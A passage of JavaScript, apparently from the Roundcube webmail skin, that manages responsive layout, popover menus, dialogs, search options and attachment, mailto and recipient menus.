        $.each(layout, function(name, item) { item.removeClass('hidden'); });

        screen_resize_small_none();

        if (layout.list) {
            $('.header > ul.menu.popupmenu', layout.list).removeClass('popupmenu');
        }
    };

    function screen_resize_small_all()
    {
        var show, got_content = false;

        if (layout.content.length) {
            show = got_content = layout.content.is(env.last_selected);
            layout.content[show ? 'removeClass' : 'addClass']('hidden');
            $('.header > ul.menu', layout.content).addClass('popupmenu');
        }

        if (layout.list.length) {
            show = !got_content && layout.list.is(env.last_selected);
            layout.list[show ? 'removeClass' : 'addClass']('hidden');
            $('.header > ul.menu', layout.list).addClass('popupmenu');
        }

        if (layout.sidebar.length) {
            show = !got_content && (layout.sidebar.is(env.last_selected) || !layout.list.length);
            layout.sidebar[show ? 'removeClass' : 'addClass']('hidden');
        }

        if (got_content) {
            buttons.back_list.show();
        }
    };

    function screen_resize_small_none()
    {
        buttons.back_list.filter(function() { return $(this).parents('#layout-sidebar').length == 0; }).hide();
        $('ul.menu.popupmenu').removeClass('popupmenu');
    };

    function show_content(unsticky)
    {
        // show sidebar and hide list
        layout.list.addClass('hidden');
        layout.sidebar.addClass('hidden');
        layout.content.removeClass('hidden');

        if (unsticky) {
            layout.sidebar.removeClass('layout-sticky');
        }

        screen_resize_headers();
        env.last_selected = layout.content[0];
    };

    function show_sidebar(sticky)
    {
        // show sidebar and hide list
        layout.list.addClass('hidden');
        layout.sidebar.removeClass('hidden');

        if (sticky) {
            layout.sidebar.addClass('layout-sticky');
        }

        if (mode == 'small' || mode == 'phone') {
            layout.content.addClass('hidden');
        }

        screen_resize_headers();
        env.last_selected = layout.sidebar[0];
    };

    function show_list(scroll)
    {
        if (!layout.list.length && !layout.sidebar.length) {
            history.back();
        }
        else {
            // show list and hide sidebar and content
            layout.sidebar.addClass('hidden').removeClass('layout-sticky');
            layout.list.removeClass('hidden');

            if (mode == 'small' || mode == 'phone') {
                hide_content();
            }

            if (scroll) {
                layout.list.children('.scroller').scrollTop(0);
            }

            env.last_selected = layout.list[0];
        }

        screen_resize_headers();
    };

    function hide_content()
    {
        // show sidebar or list, hide content frame
        env.last_selected = layout.list[0] || layout.sidebar[0];
        screen_resize();

        // reset content frame, so we can load it again
        rcmail.show_contentframe(false);

        // now we have to unselect selected row on the list
        $('[data-list]', layout.list).each(function() {
            var list = $(this).data('list');
            if (rcmail[list]) {
                if (rcmail[list].clear_selection) {
                    rcmail[list].clear_selection(); // list widget
                }
                else if (rcmail[list].select) {
                    rcmail[list].select(); // treelist widget
                }
            }
        });
    };

    // show menu widget
    function app_menu(show)
    {
        if (show) {
            if (mode == 'phone') {
                $('<div id="menu-overlay" class="popover-overlay">')
                    .on('click', function() { app_menu(false); })
                    .appendTo('body');

                if (!env.menu_initialized) {
                    env.menu_initialized = true;
                    $('a', layout.menu).on('click', function(e) { if (mode == 'phone') app_menu(); });
                }

                layout.menu.addClass('popover');
            }

            layout.menu.removeClass('hidden');
        }
        else {
            $('#menu-overlay').remove();
            layout.menu.addClass('hidden').removeClass('popover');
        }
    };

    /**
     * Triggered when a UI message is displayed
     */
    function message_displayed(p)
    {
        if (p.type == 'loading' && $('.iframe-loader:visible').length) {
            // hide original message object, we don't need two "loaders"
            rcmail.hide_message(p.object);
            return;
        }

        alert_style(p.object, p.type, true);
        $(p.object).attr('role', 'alert');
    };

    /**
     * Applies some styling and icon to an alert object
     */
    function alert_style(object, type, wrap)
    {
        var tmp, classes = 'ui alert',
            addicon = !$(object).is('.noicon'),
            map = {
                information: 'alert-info',
                notice: 'alert-info',
                confirmation: 'alert-success',
                warning: 'alert-warning',
                error: 'alert-danger',
                loading: 'alert-info loading',
                uploading: 'alert-info loading',
                vcardattachment: 'alert-info' // vcard_attachments plugin
            };

        // we need the content to be non-text node for best alignment
        if (wrap && addicon && !$(object).is('.aligned-buttons')) {
            $(object).html($('<span>').html($(object).html()));
        }

        // Type can be e.g. 'notice chat'
        type = type.split(' ')[0];

        if (tmp = map[type]) {
            classes += ' ' + tmp;
            if (addicon) {
                $('<i>').attr('class', 'icon').prependTo(object);
            }
        }

        $(object).addClass(classes);
    };

    /**
     * Set UI dialogs size/style depending on screen size
     */
    function dialog_open(dialog)
    {
        var me = $(dialog.uiDialog),
            width = me.width(),
            height = me.height(),
            maxWidth = $(window).width(),
            maxHeight = $(window).height();

        if (maxWidth <= 480) {
            me.css({width: '100%', height: '100%'});
        }
        else {
            if (height > maxHeight) {
                me.css('height', '100%');
            }
            if (width > maxWidth) {
                me.css('width', '100%');
            }
        }

        // Close all popovers
        $(document).click();

        // Display loader when the dialog has an iframe
        iframe_loader($('div.popup > iframe', me));

        // TODO: style buttons/forms
        bootstrap_style(dialog.uiDialog);
    };

    /**
     * Initializes searchbar widget
     */
    function searchbar_init(bar)
    {
        var unread_button = $(),
            options_button = $('a.button.options', bar),
            input = $('input:not([type=hidden])', bar),
            placeholder = input.attr('placeholder'),
            form = $('form', bar),
            is_search_pending = function() {
                if (input.val()) {
                    return true;
                }

                if (rcmail.task == 'mail' && $('#s_interval').val()) {
                    return true;
                }

                if (rcmail.gui_objects.search_filter && $(rcmail.gui_objects.search_filter).val() != 'ALL') {
                    return true;
                }

                if (rcmail.gui_objects.foldersfilter && $(rcmail.gui_objects.foldersfilter).val() != '---') {
                    return true;
                }
            },
            close_func = function() {
                if ($(bar).is('.open')) {
                    options_button.click();
                }
            },
            update_func = function() {
                $(bar)[is_search_pending() ? 'addClass' : 'removeClass']('active');
                unread_button[rcmail.gui_objects.search_filter && $(rcmail.gui_objects.search_filter).val() == 'UNSEEN' ? 'addClass' : 'removeClass']('selected');
            };

        // Add Unread filter button
        if (input.is('#mailsearchform')) {
            unread_button = $('<a>')
                .attr({'class': 'button unread', href: '#', role: 'button', title: rcmail.gettext('showunread')})
                .on('click', function(e) {
                    $(rcmail.gui_objects.search_filter).val($(e.target).is('.selected') ? 'ALL' : 'UNSEEN');
                    rcmail.command('search');
                })
                .insertBefore(options_button);
        }

        options_button.on('click', function(e) {
            var id = $(this).data('target'),
                options = $('#' + id),
                open = $(bar).is('.open');

            if (options.length) {
                if (!open) {
                    if (ref[id]) {
                        ref[id](options.get(0), this, e);
                    }
                    else if (typeof window[id] == 'function') {
                        window[id](options.get(0), this, e);
                    }
                }

                options.next()[open ? 'show' : 'hide']();
                options.toggleClass('hidden');
                $('.floating-action-buttons').toggleClass('hidden');
                $(bar).toggleClass('open');

                $('button.search', options).off('click.search').on('click.search', function() {
                    options_button.click();
                    update_func();
                });
            }
        });

        input.on('input change', update_func)
            .on('focus blur', function(e) { input.attr('placeholder', e.type == 'blur' ? placeholder : ''); });

        // Search reset action
        $('a.reset', bar).on('click', function(e) {
            // for treelist widget's search setting val and keyup.treelist is needed
            // in normal search form reset-search command will do the trick
            input.val('').change().trigger('keyup.treelist', {keyCode: 27});
            if ($(bar).is('.open')) {
                options_button.click();
            }

            // Reset filter
            if (rcmail.gui_objects.search_filter) {
                $(rcmail.gui_objects.search_filter).val('ALL');
            }

            if (rcmail.gui_objects.foldersfilter) {
                $(rcmail.gui_objects.foldersfilter).val('---').change();
                rcmail.folder_filter('---');
            }

            update_func();
        });

        rcmail.addEventListener('init', update_func)
            .addEventListener('responsebeforesearch', update_func)
            .addEventListener('beforelist', close_func)
            .addEventListener('afterlist', update_func)
            .addEventListener('beforesearch', close_func);
    };

    /**
     * Converts toolbar menu into popup-menu for small screens
     */
    function toolbar_init()
    {
        if (env.got_smart_toolbar) {
            return;
        }

        env.got_smart_toolbar = true;

        var list_mark, items = [],
            list_items = [],
            meta = layout_metadata(),
            button_func = function(button, items, cloned) {
                var item = $('<li role="menuitem">');

                button = cloned ? create_cloned_button($(button), true, 'hidden-big hidden-large') : $(button).detach();

                // Remove empty text nodes that break alignment of text of the menu item
                button.contents().filter(function() { if (this.nodeType == 3 && this.nodeValue.trim().length == 0) $(this).remove(); });

                if (button.is('.spacer')) {
                    item.addClass('spacer');
                }
                else {
                    item.append(button);
                }

                items.push(item);
            };

        // convert content toolbar to a popup list
        layout.content.find('.header > .menu').each(function() {
            var toolbar = $(this);

            toolbar.children().each(function() { button_func(this, items); });
            toolbar.remove();
        });

        // convert list toolbar to a popup list
        layout.list.find('.header > .menu').each(function() {
            var toolbar = $(this);

            list_mark = toolbar.next();

            toolbar.children().each(function() {
                if (meta.mode != 'large') {
                    // TODO: Would be better to set this automatically on submenu display
                    //       i.e. in show/shown event (see popup_init()), if possible
                    $(this).data('popup-pos', 'right');
                }

                // add items to the content menu too
                button_func(this, items, true);
                button_func(this, list_items);
            });

            toolbar.remove();
        });

        // special elements to clone and add to the toolbar (mobile only)
        $('ul[data-menu="toolbar-small"] > li > a').each(function() {
            var button = $(this).clone();

            button.attr('id', this.id + '_clone');

            // TODO: rcmail.register_button()

            items.push($('<li role="menuitem">').addClass('hidden-big').append(button));
        });

        // append the new list toolbar and menu button
        if (list_items.length) {
            var container = layout.list.children('.header'),
                menu_attrs = {'class': 'menu toolbar popupmenu listing iconized', id: 'toolbar-list-menu'},
                menu_button = $('<a class="button icon toolbar-list-button" href="#list-menu">')
                    .attr({'data-popup': 'toolbar-list-menu'}),
                // TODO: copy original toolbar attributes (class, role, aria-*)
                toolbar = $('<ul>').attr(menu_attrs).data('popup-parent', container).append(list_items);

            if (list_mark.length) {
                toolbar.insertBefore(list_mark);
            }
            else {
                container.append(toolbar);
            }
            container.append(menu_button);
        }

        // append the new toolbar and menu button
        if (items.length) {
            var container = layout.content.children('.header'),
                menu_attrs = {'class': 'menu toolbar popupmenu listing iconized', id: 'toolbar-menu'},
                menu_button = $('<a class="button icon toolbar-menu-button" href="#menu">')
                    .attr({'data-popup': 'toolbar-menu'});

            container
                // TODO: copy original toolbar attributes (class, role, aria-*)
                .append($('<ul>').attr(menu_attrs).data('popup-parent', container).append(items))
                .append(menu_button);

            // bind toolbar menu with the menu button in the list header
            layout.list.find('a.toolbar-menu-button').click(function(e) {
                e.stopPropagation();
                menu_button.click();
            });
        }
    };

    /**
     * Initialize a popup for specified button element
     */
    function popup_init(item, win)
    {
        // On mobile we display the menu from the frame in the parent window
        if (is_framed && is_mobile()) {
            return parent.UI.popup_init(item, win || window);
        }

        if (!win) win = window;
        var level,
            popup_id = $(item).data('popup'),
            popup = $(win.$('#' + popup_id).get(0)), // a "hack" to support elements in frames
            popup_orig = popup,
            title = $(item).attr('title'),
            content_element = function() {
                // On mobile we display a menu from the frame in the parent window
                // To make menu actions working we have to clone the menu
                // and pass click events to it...
                if (win != window) {
                    popup = popup_orig.clone(true, true);
                    popup.attr('id', popup_id + '-clone')
                        .appendTo(document.body)
                        .find('li > a').attr('onclick', '').off('click').on('click', function(e) {
                            if (!$(this).is('.disabled')) {
                                $(item).popover('hide');
                                win.$('#' + $(this).attr('id')).click();
                            }

                            return false;
                        });
                }

                return popup.get(0);
            };

        $(item).attr({
                'aria-haspopup': 'true',
                'aria-expanded': 'false',
                'aria-owns': popup_id,
            })
            .popover({
                content: content_element,
                trigger: $(item).data('popup-trigger') || 'click',
                placement: $(item).data('popup-pos') || 'bottom',
                animation: true,
                boundary: 'window', // fix for https://github.com/twbs/bootstrap/issues/25428
                html: true
            })
            .on('show.bs.popover', function(event) {
                var init_func = popup.data('popup-init');

                if (popup_id && menus[popup_id]) {
                    menus[popup_id].transitioning = true;
                }

                if (init_func && ref[init_func]) {
                    ref[init_func](popup.get(0), item, event);
                }
                else if (init_func && win[init_func]) {
                    win[init_func](popup.get(0), item, event);
                }

                level = $('div.popover:visible').length + 1;

                popup.removeClass('hidden').attr('aria-hidden', false)
                    // Stop propagation on menu items that have popups
                    // to make a click on them not hide their parent menu(s)
                    .find('[aria-haspopup="true"]')
                        .data('level', level + 1)
                        .off('click.popup')
                        .on('click.popup', function(e) { e.stopPropagation(); });

                if (!is_mobile()) {
                    // Set popup height so it is less than the window height
                    popup.css('max-height', Math.min(36 * 15 - 1, $(window).height() - 30));
                }
            })
            .on('shown.bs.popover', function(event) {
                var mobile = is_mobile(),
                    popover = $('#' + $(item).attr('aria-describedby'));

                level = $(item).data('level') || 1;

                // Set popup Back/Close title
                if (mobile) {
                    var label = level > 1 ? 'back' : 'close',
                        title = rcmail.gettext(label),
                        class_name = 'button icon ' + (label == 'back' ? 'back' : 'cancel');

                    $('.popover-header', popover).empty()
                        .append($('<a>').attr('class', class_name).text(title)
                            .on('click', function(e) {
                                $(item).popover('hide');
                                if (level > 1) {
                                    e.stopPropagation();
                                }
                            })
                            .on('mousedown', function(e) {
                                // stop propagation to i.e. do not close jQuery-UI dialogs below
                                e.stopPropagation();
                            })
                        );
                }

                // Hide other menus on the same level
                $.each(menus, function(id, prop) {
                    if ($(prop.target).data('level') == level && id != popup_id) {
                        menu_hide(id);
                    }
                });

                // On keyboard event focus the first (active) entry and enable keyboard navigation
                if ($(item).data('event') == 'key') {
                    popover.off('keydown.popup').on('keydown.popup', 'a.active', function(e) {
                        var entry, node, mode = 'next';

                        switch (e.which) {
                            case 27: // ESC
                            case 9:  // TAB
                                $(item).popover('toggle').focus();
                                return false;

                            case 38: // ARROW-UP
                            case 63232:
                                mode = 'previous';
                            case 40: // ARROW-DOWN
                            case 63233:
                                entry = e.target.parentNode;
                                while (entry = entry[mode + 'Sibling']) {
                                    if (node = $(entry).children('.active')[0]) {
                                        node.focus();
                                        break;
                                    }
                                }
                                return false; // prevents from scrolling the whole page
                        }
                    });

                    popover.find('a.active').first().focus();
                }

                if (popup_id && menus[popup_id]) {
                    menus[popup_id].transitioning = false;
                }

                // add overlay element for phone layout
                if (mobile && !$('.popover-overlay').length) {
                    $('<div>').attr('class', 'popover-overlay')
                        .appendTo('body')
                        .click(function() { $(this).remove(); });
                }

                $('.popover-body', popover).addClass('webkit-scroller');
            })
            .on('hide.bs.popover', function() {
                if (level == 1) {
                    $('.popover-overlay').remove();
                }

                if (popup_id && menus[popup_id] && popup.is(':visible')) {
                    menus[popup_id].transitioning = true;
                }

                // Note: We do not use hidden.bs.popover event because it is not always executed (#8602)
                setTimeout(function () {
                    if (/-clone$/.test(popup.attr('id'))) {
                        popup.remove();
                    }
                    else {
                        popup.attr('aria-hidden', true)
                            // Some menus aren't being hidden, force that
                            .addClass('hidden')
                            // Bootstrap will detach the popup element from
                            // the DOM (https://github.com/twbs/bootstrap/issues/20219)
                            // making our menus to not update buttons state.
                            // Work around this by attaching it back to the DOM tree.
                            .appendTo(popup.data('popup-parent') || document.body);
                    }

                    // close orphaned popovers, for some reason there are sometimes such dummy elements left
                    $('.popover-body:empty').each(function() { $(this).parent().remove(); });

                    if (popup_id && menus[popup_id]) {
                        delete menus[popup_id];
                    }
                }, 200);
            })
            // Because Bootstrap does not provide originalEvent in show/shown events
            // we have to handle that by our own using click and keydown handlers
            .on('click', function() {
                $(this).data('event', 'mouse');
            })
            .on('keydown', function(e) {
                if (e.originalEvent) {
                    switch (e.originalEvent.which) {
                    case 13:
                    case 32:
                        // Open the popup on ENTER or SPACE
                        e.preventDefault();
                        $(this).data('event', 'key').popover('toggle');
                        break;
                    case 27:
                        // Close the popup on ESC key
                        $(this).popover('hide');
                        break;
                    }
                }
            });

        // re-add title attribute removed by bootstrap popover
        if (title) {
            $(item).attr('title', title);
        }

        if (is_mobile() || !popup.is('.toolbar')) {
            popup.attr('aria-hidden', 'true');
        }

        popup.data('button', item);

        // stop propagation to e.g. do not hide the popup when
        // clicking inside on form elements
        if (popup.data('editable')) {
            popup.on('click mousedown', function(e) { e.stopPropagation(); });
        }
    };

    /**
     * Closes all popups (for use as event handler)
     */
    function popups_close(e)
    {
        // Ignore some of propagated click events (see pretty_select())
        if (popups_close_lock && popups_close_lock > (new Date().getTime() - 250)) {
            return;
        }

        $('.popover.show').each(function() {
            var popup = $('.popover-body', this),
                button = popup.children().first().data('button');

            if (button && e.target != button && !$(button).find(e.target).length && typeof button !== 'string') {
                $(button).popover('hide');
            }

            if (!button) {
                $(this).remove();
            }
        });
    };

    /**
     * Handler for menu-open and menu-close events
     */
    function menu_toggle(p)
    {
        if (!p || !p.name || (p.props && p.props.skinable === false)) {
            return;
        }

        if (is_framed && is_mobile()) {
            if (!p.win) {
                p.win = window;
            }
            return parent.UI.menu_toggle(p);
        }

        if (p.name == 'messagelistmenu') {
            menu_messagelist(p);
        }
        else if (p.event == 'menu-open') {
            var fn, pos,
                content = $('ul', p.obj).first(),
                target = p.props && p.props.link ? p.props.link : p.originalEvent.target;

            // Sanity check, make sure we have some content to show
            if (!content.length) {
                return;
            }

            if ($(target).is('span')) {
                target = $(target).parents('a,li')[0];
            }

            if (p.name.match(/^drag/)) {
                // create a fake element to position drag menu on the cursor position
                pos = rcube_event.get_mouse_pos(p.originalEvent);
                target = $('<a>').css({
                        position: 'absolute',
                        left: pos.x,
                        top: pos.y,
                        height: '1px',
                        width: '1px',
                        visibility: 'hidden'
                    })
                    .appendTo(document.body).get(0);
            }

            pos = $(target).data('popup-pos') || 'right';

            if (p.name == 'folder-selector') {
                content.addClass('listing folderlist');
            }
            else if (p.name == 'addressbook-selector' || p.name == 'contactgroup-selector') {
                content.addClass('listing contactlist');
            }
            else if (content.hasClass('menu')) {
                content.addClass('listing');
            }

            if (p.name == 'pagejump-selector') {
                content.addClass('simplelist');
                p.obj.addClass('simplelist');
                pos = 'top';
            }

            // There can be only one menu of the same type
            if (menus[p.name]) {
                menu_hide(p.name, p.originalEvent);
            }

            // Popover menus use animation. Sometimes the same menu is
            // immediately hidden and shown (e.g. folder-selector for copy and move action)
            // we have to wait until the previous menu hides before we can open it again
            fn = function() {
                if (menus[p.name] && menus[p.name].transitioning) {
                    return setTimeout(fn, 50);
                }

                if (!$(target).data('popup')) {
                    $(target).data({
                        event: rcube_event.is_keyboard(p.originalEvent) ? 'key' : 'mouse',
                        popup: p.name,
                        'popup-pos': pos,
                        'popup-trigger': 'manual'
                    });
                    popup_init(target, p.win);
                }

                menus[p.name] = {target: target};

                // setTimeout fixes Shift + drag'n'drop menu in Chrome (#8107)
                setTimeout(function() { $(target).popover('show'); }, 1);
            }

            fn();
        }
        else {
            menu_hide(p.name, p.originalEvent);
        }

        // Stop propagation so multi-level menus work properly
        p.originalEvent.stopPropagation();
    };

    /**
     * Close menu by name
     */
    function menu_hide(name, event)
    {
        var target = menu_target(name);

        if (name.match(/^drag/)) {
            $(target).popover('dispose').remove();
        }
        else {
            $(target).popover('hide');

            // In phone mode close all menus when forwardmenu is requested to be closed
            // FIXME: This is a hack, we need some generic solution.
            if (name == 'forwardmenu') {
                popups_close(event);
            }
        }
    };

    /**
     * Destroys menu by name
     *
     * This is required when you replace the menu content element
     */
    function menu_destroy(name)
    {
        $('[aria-owns=' + name + ']').popover('dispose').data('popup', null);
    };

    /**
     * Get menu target by name
     */
    function menu_target(name)
    {
        var target;

        if (menus[name]) {
            target = menus[name].target;
        }
        else {
            target = $('#' + name).data('button');

            if (!target) {
                // catch cases as 'forwardmenu' where menu suffix has no hyphen
                // or try with -menu suffix if it's not in the menu name already
                if (name.match(/(?!-)menu$/)) {
                    name = name.substr(0, name.length - 4);
                }

                target = $('#' + name + '-menu').data('button');
            }
        }

        return target;
    };

    /**
     * Messages list options dialog
     */
    function menu_messagelist(p)
    {
        var content = $('#listoptions-menu'),
            width = content.width() + 25,
            dialog = content.clone(true);

        // set form values
        $('select[name="sort_col"]', dialog).val(rcmail.env.sort_col || '');
        $('select[name="sort_ord"]', dialog).val(rcmail.env.sort_order || 'ASC');
        $('select[name="mode"]', dialog).val(rcmail.env.threading ? 'threads' : 'list');

        // Fix id/for attributes
        $('select', dialog).each(function() { this.id = this.id + '-clone'; });
        $('label', dialog).each(function() { $(this).attr('for', $(this).attr('for') + '-clone'); });

        var save_func = function(e) {
            if (rcube_event.is_keyboard(e.originalEvent)) {
                $('#listmenulink').focus();
            }

            var col = $('select[name="sort_col"]', dialog).val(),
                ord = $('select[name="sort_ord"]', dialog).val(),
                mode = $('select[name="mode"]', dialog).val();

            rcmail.set_list_options([], col, ord, mode == 'threads' ? 1 : 0);
            return true;
        };

        dialog = rcmail.simple_dialog(dialog, 'listoptionstitle', save_func, {
            closeOnEscape: true,
            minWidth: 400
        });
    };

    /**
     * About dialog
     */
    function about_dialog(elem)
    {
        var support_url, support_func, support_button = false,
            dialog = $('<iframe>').attr({id: 'aboutframe', src: rcmail.url('settings/about', {_framed: 1})}),
            support_link = $('#supportlink');

        if (support_link.length && (support_url = support_link.attr('href'))) {
            support_button = support_link.text();
            support_func = function(e) { support_url.indexOf('mailto:') < 0 ? window.open(support_url) : location.href = support_url; };
        }

        rcmail.simple_dialog(dialog, $(elem).text(), support_func, {
            button: support_button,
            button_class: 'help',
            cancel_button: 'close',
            height: 400
        });
    };

    /**
     * Show/hide more mail headers (envelope)
     */
    function headers_show(toggle)
    {
        var key = 'mail.show.envelope',
            pref = get_pref(key),
            show = toggle ? !pref : pref,
            mode = show ? 'summary' : 'details',
            headers = $('div.header-content');

        $('div.header-links').find('a.headers-details,a.headers-summary')
            .removeClass().addClass('headers-' + mode).text(rcmail.gettext(mode));

        headers[show ? 'addClass' : 'removeClass']('details-view');

        if (toggle) {
            // save new pref
            set_pref(key, show);
        }
    };

    /**
     * Mail headers dialog
     */
    function headers_dialog()
    {
        var props = {_uid: rcmail.env.uid, _mbox: rcmail.env.mailbox, _framed: 1},
            dialog = $('<iframe>').attr({id: 'headersframe', src: rcmail.url('headers', props)});

        rcmail.simple_dialog(dialog, 'arialabelmessageheaders', null, {
            cancel_button: 'close',
            height: 400
        });
    };

    /**
     * Attachment properties dialog
     */
    function props_dialog()
    {
        var dialog = $('#properties-menu').clone();

        rcmail.simple_dialog(dialog, 'properties', null, {
            cancel_button: 'close',
            height: 400
        });
    };

    /**
     * Mail import dialog
     */
    function import_dialog()
    {
        if (!rcmail.commands['import-messages']) {
            return;
        }

        var content = $('#uploadform'),
            dialog = content.clone(true);

        var save_func = function(e) {
            return rcmail.command('import-messages', $(dialog.find('form')[0]));
        };

        rcmail.simple_dialog(dialog, 'importmessages', save_func, {
            button: 'import',
            closeOnEscape: true,
            minWidth: 400
        });
    };

    /**
     * Search options menu popup
     */
    function searchmenu(obj)
    {
        var n, all = '*',
            list = $('input[name="s_mods[]"]', obj),
            scope_select = $('#s_scope', obj),
            interval_select = $('#s_interval', obj),
            mbox = rcmail.env.mailbox,
            mods = rcmail.env.search_mods,
            scope = rcmail.env.search_scope || 'base';

        if (!$(obj).data('initialized')) {
            $(obj).data('initialized', true);
            if (list.length) {
                list.on('change', function() { set_searchmod(obj, this); });

                rcmail.addEventListener('beforesearch', function() {
                    rcmail.env.search_scope = scope_select.val();
                    rcmail.env.search_interval = interval_select.val();
                });
            }

            $(obj).find('.proplist > li > a.dropdown').on('click', function() {
                var list = $(this).next()
                list[list.is('.d-none') ? 'removeClass' : 'addClass']('d-none');
            });
        }

        scope_select.val(scope);

        if (mods) {
            if (rcmail.env.task == 'mail') {
                mods = mods[mbox] || mods['*'];
                all = 'text';
            }

            if (mods[all]) {
                list.map(function() {
                    this.checked = true;
                    this.disabled = this.value != all;
                });
            }
            else {
                list.prop('disabled', false).prop('checked', false);
                for (n in mods) {
                    list.filter('[value="' + n + '"]').prop('checked', true);
                }
            }
        }

        set_searchmod_masters(obj);
    };

    /**
     * Handler for a search option state update
     */
    function set_searchmod(menu, elem)
    {
        var all, m, masters = {},
            list = $('input[name="s_mods[]"]', menu),
            task = rcmail.env.task,
            mods = rcmail.env.search_mods || {},
            mbox = rcmail.env.mailbox;

        if (task == 'mail') {
            if (!mods[mbox]) {
                mods[mbox] = rcube_clone_object(mods['*']);
            }
            m = mods[mbox];
            all = 'text';
            masters = {
                sender: ['from', 'replyto', 'followupto'],
                recipient: ['to', 'cc', 'bcc']
            };
        }
        else {
            // addressbook
            m = mods;
            all = '*';
        }

        if (!elem.checked) {
            delete(m[elem.value]);
        }
        else {
            m[elem.value] = 1;
        }

        // mark all fields
        if (elem.value == all) {
            list.not(elem).each(function() {
                this.checked = true;

                if (elem.checked) {
                    this.disabled = true;
                    delete m[this.value];
                }
                else {
                    this.disabled = false;
                    if (!(this.value in masters)) {
                        m[this.value] = 1;
                    }
                }
            });
        }
        // Handle clicks on Sender/Recipient elements
        else if (elem.value in masters) {
            delete m[elem.value];

            list.filter(function() { return $.inArray(this.value, masters[elem.value]) != -1; }).each(function() {
                if (elem.checked) {
                    this.checked = true;
                    m[this.value] = 1;
                }
                else {
                    this.checked = false;
                    delete m[this.value];
                }
            });
        }
        else if (masters.sender) {
            set_searchmod_masters(menu);
        }

        rcmail.set_searchmods(m);
    };

    /*
     * Set state of the Sender/Recipient checkbox depending on whether any of the sub-items are checked
     */
    function set_searchmod_masters(obj)
    {
        $(obj).find('.proplist > li.with-sublist').each(function() {
            $(this).find(':not(.proplist) input')[0].checked = $(this).children('.proplist').find('input:checked').length > 0;
        });
    }

    /**
     * Spellcheck languages list
     */
    function spellmenu(obj)
    {
        var i, link, li, list = [],
            lang = rcmail.spellcheck_lang(),
            ul = $('ul', obj);

        if (!ul.length) {
            ul = $('<ul class="selectable listing iconized" role="menu">');

            for (i in rcmail.env.spell_langs) {
                li = $('<li role="menuitem">');
                link = $('<a href="#'+ i +'" tabindex="0"></a>')
                    .text(rcmail.env.spell_langs[i])
                    .addClass('active').data('lang', i)
                    .on('click keypress', function(e) {
                        if (e.type != 'keypress' || rcube_event.get_keycode(e) == 13) {
                            rcmail.spellcheck_lang_set($(this).data('lang'));
                            rcmail.hide_menu('spell-menu', e);
                            return false;
                        }
                    });

                link.appendTo(li);
                list.push(li);
            }

            ul.append(list).appendTo(obj);
        }

        // select current language
        $('li', ul).each(function() {
            var el = $('a', this);
            if (el.data('lang') == lang) {
                el.addClass('selected').attr('aria-selected', 'true');
            }
            else if (el.hasClass('selected')) {
                el.removeClass('selected').removeAttr('aria-selected');
            }
        });
    };

    /**
     * Add/remove item to/from compose options status bar
     */
    function compose_status(id, status)
    {
        var bar = $('#composestatusbar'), ico = bar.find('a.button.icon.' + id);

        if (!status) {
            ico.remove();
        }
        else if (!ico.length) {
            $('<a>').attr('class', 'button icon ' + id)
                .on('click', function() { show_sidebar(); })
                .appendTo(bar);
        }
    };

    /**
     * Attachment menu
     */
    function attachmentmenu(obj, button, event)
    {
        var id = $(button).parent().attr('id').replace(/^attach/, '');

        $.each(['open', 'download', 'rename'], function() {
            var action = this;
            $('#attachmenu' + action, obj).off('click').attr('onclick', '').click(function(e) {
                return rcmail.command(action + '-attachment', id, this, e.originalEvent);
            });
        });

        // call menu-open so core can set state of menu commands
        return rcmail.command('menu-open', {menu: 'attachmentmenu', id: id}, obj, event);
    };

    /**
     * Appends drop-icon to attachments list item (to invoke attachment menu)
     */
    function attachmentmenu_append(item)
    {
        item = $(item);

        if (!item.is('.no-menu') && !item.children('.dropdown').length) {
            var label = rcmail.gettext('options'),
                fname = item.find('a.filename');

            var button = $('<a>').attr({
                    href: '#',
                    tabindex: fname.attr('tabindex') || 0,
                    title: label,
                    'class': 'button icon dropdown skip-content'
                })
                .on('click', function(e) {
                    return attachmentmenu($('#attachmentmenu'), button, e);
                })
                .append($('<span>').attr('class', 'inner').text(label));

            if (fname.length) {
                button.insertAfter(fname);
            }
            else {
                button.appendTo(item);
            }
        }
    };

    /**
     * Mailto menu
     */
    function mailtomenu(obj, button, event, onclick)
    {
        var mailto = $(button).attr('href').replace(/^mailto:/, '');

        if (mailto.indexOf('@') < 0) {
            return true; // let the browser handle this
        }

        // disable all menu actions
        obj.find('a').off('click').removeClass('active');

        if (rcmail.env.has_writeable_addressbook) {
            $('.addressbook', obj).addClass('active')
                .on('click', function(e) {
                    var i, contact = mailto,
                        txt = $(button).filter('.rcmContactAddress').text();

                    contact = contact.split('?')[0].split(',')[0].replace(/(^<|>$)/g, '');

                    if (txt) {
                        txt = txt.replace('<' + contact + '>', '');
                        contact = '"' + txt.trim() + '" <' + contact + '>';
                    }

                    return rcmail.command('add-contact', contact, this, e.originalEvent);
                });
        }

        $('.compose', obj).addClass('active').on('click', function(e) {
            // Execute the original onclick handler to support mailto URL arguments (#6751)
            if (onclick) {
                button.onclick = onclick;
                // use the second argument to tell our handler to not display the menu again
                $(button).trigger('click', [true]);
                button.onclick = null;
            }
            else {
                rcmail.command('compose', mailto, this, e.originalEvent);
            }

            return false; // for Chrome
        });

        return rcmail.command('menu-open', {menu: 'mailto-menu', link: button}, button, event.originalEvent);
    };

    /**
     * Appends popup menu to mailto links
     */
    function mailtomenu_append(item)
    {
        // Remember the original onclick handler and display the menu instead
        var onclick = item.onclick;
        item.onclick = null;
        $(item).on('click', function(e, menu) {
            return menu || mailtomenu($('#mailto-menu'), item, e, onclick);
        });
    };

    /**
     * Headers menu in mail compose
     */
    function headersmenu(obj, button, event)
    {
        $('li > a', obj).each(function() {
            var link = $(this), target = '#compose_' + link.data('target');

            link[$(target).is(':visible') ? 'removeClass' : 'addClass']('active')
                .off().on('click', function() {
                    $(target).removeClass('hidden').find('.recipient-input input').focus();
                    link.removeClass('active');
                    rcmail.set_menu_buttons();
                });
        });
    };

    /**
     * Reset/hide compose message recipient input
     */
    function header_reset(id)
    {
        $('#' + id).val('').change()
            // jump to the next input
            .closest('.form-group').nextAll(':not(.hidden)').first().find('input').focus();

        $('a[data-target=' + id.replace(/^_/, '') + ']').addClass('active');
        rcmail.set_menu_buttons();
    };

    /**
     * Recipient (contact) selector
     */
    function recipient_selector(field, opts)
    {
        if (!opts) opts = {};

        var title = opts.title || 'insertcontact',
            dialog = $('#recipient-dialog'),
            parent = dialog.parent(),
            close_func = function() {
                if (dialog.is(':visible')) {
                    rcmail.env.recipient_dialog.dialog('close');
                }
            },
            insert_func = function() {
                if (opts.action) {
                    opts.action();
                    close_func();
                    return;
                }

                rcmail.command('add-recipient');
            };

